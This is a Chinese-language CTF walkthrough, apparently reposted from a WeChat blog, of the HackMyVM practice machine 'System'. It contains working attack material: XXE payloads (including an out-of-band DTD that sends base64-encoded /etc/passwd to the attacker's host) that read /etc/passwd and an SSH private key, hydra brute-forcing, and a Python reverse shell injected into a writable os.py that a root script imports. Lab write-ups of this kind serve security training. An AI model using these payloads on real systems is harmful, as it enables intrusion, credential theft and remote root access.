靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Aqua
网盘链接:https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx
靶场: HackMyVm.eu
靶机名称: System
难度: 简单
发布时间: 2022年4月6日
提示信息:
无
目标: user.txt和root.txt
实验环境
攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only
靶机:Vbox linux IP自动获取 网卡host-Only
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo netdiscover -r 10.0.0.0/24 -i eth1
扫描到主机地址为10.0.0.137
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 10.0.0.137 -oN nmap.log
扫描到开放22和80端口,先来看看80端口
Web渗透
访问后是一个注册页面,查看源码跳转到了js文件的XMLFunction方法,再来看看js文件
view-source:http://10.0.0.137/js/jquery.main.js
查看js文件发现数据被提交到magic.php页面中,提交账号密码抓个包看看
猜测是XXE实体注入
XXE实体注入攻击
1。准备dtd文件,在dtd文件中读取/etc/passwd文件并用base64编码
a.dtd
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % b "<!ENTITY shell SYSTEM 'http://10.0.0.3:8000/%a;'>">
%b;
2。在a.dtd目录下开启HTTP服务
python3 -m http.server
3。构造payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "http://10.0.0.3:8000/a.dtd">
%file;
]>
<b>&shell;</b>
提交payload
拿到passwd文件内容,用base64转换
解码后发现普通用户david,继续收集敏感信息
修改a.dtd文件,尝试读取/home/david/.ssh/id_rsa文件
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/home/david/.ssh/id_rsa">
<!ENTITY % b "<!ENTITY shell SYSTEM 'http://10.0.0.3:8000/%a;'>">
%b;
读不到这个文件,尝试读取id_rsa.pub
公钥可以读取,猜测还是有id_rsa文件,只是没权限
尝试对david暴破密码
hydra -l david -P /usr/share/wordlists/rockyou.txt 10.0.0.137 ssh -t 50
跑一晚上也没跑出来密码,隔了一天后修改payload再次测试
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<details><email>&file;©right;</email><password>123</password></details>
看起来简单多了,再试尝试读取id_rsa文件
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///home/david/.ssh/id_rsa">]>
<details><email>&file;©right;</email><password>123</password></details>
拿到key,尝试SSH便当
chmod 600 id_rsa
ssh [email protected] -i id_rsa
需要密码无法登录,(在这个位置卡了几天今天看到其他人写的wp才知道这个id_rsa是用来迷惑你的,要做模糊测试找出其他文件)
模糊测试
wfuzz -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/quickhits.txt -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY file SYSTEM "file:///home/david/FUZZ">]><details><email>&file;©right;</email><password>123</password></details>' --hh 85 http://10.0.0.137/magic.php
发现用户目录下的.viminfo(vi程序的信息文件,主要用于记录vi的状态信息)文件,访问看看
发现mypass.txt文件,来访问下
拿到密码,尝试登录SSH
ssh [email protected]
登录成功,来找下敏感信息
ls
cat user.txt
拿到user.txt,上传辅助脚本检查敏感信息
1。攻击机在脚本目录下开启HTTP服务
python3 -m http.server
2。靶机下载辅助脚本并执行
cd /tmp
wget http://10.0.0.3:8000/pspy64
chmod +x pspy64
./pspy64
发现/opt/suid.py脚本以root身份定时执行,来看看这个文件
cd /opt
ls -al
cat suid.py
脚本内容:
1。首先读取/home/david下的cmd.txt文件
2。读取后再到/tmp目录下写入suid.txt文件
3。判断如果/tmp/suid.txt路径为真,便对/bin/bash添加S权限
尝试一下:
1。/home/david目录下创建cmd.txt
cd ~
echo 'aaa' >cmd.txt
2。等待1分钟内查看/tmp目录下是否存在suid.txt文件
ls /tmp/suid.txt
3。发现suid.txt后检查 /bin/bash的权限
ls -al /bin/bash
创建cmd.txt文件后在/tmp/目录下发现脚本创建的suid.txt,但不知何原因并没有将/bin/bash加上S权限 。(看来这个脚本也是用来迷惑我们的)
再来看下suid.py脚本内容
这里引用了system,但是下面执行的是os.system所以会出错。这里引用os模块的system我们可以尝试利用system反弹shell到攻击机,先来看下os.py是否有写入权限
find / -name os.py 2>/dev/null
ls -al /usr/lib/python3.9/os.py
发现写入权限 ,现在来修改下os.py。
1。打开os.py并且底部添加反弹shell
vi /usr/lib/python3.9/os.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.3",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
2。攻击机监听3333端口,并等待1分钟内执行脚本
nc -lvvp 3333
反弹成功,拿到root权限,来找下flag
ls
cat root.txt
拿到root.txt,游戏结束。
原文始发于微信公众号(伏波路上学安全):渗透测试练习No.78 HackMyVm System
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论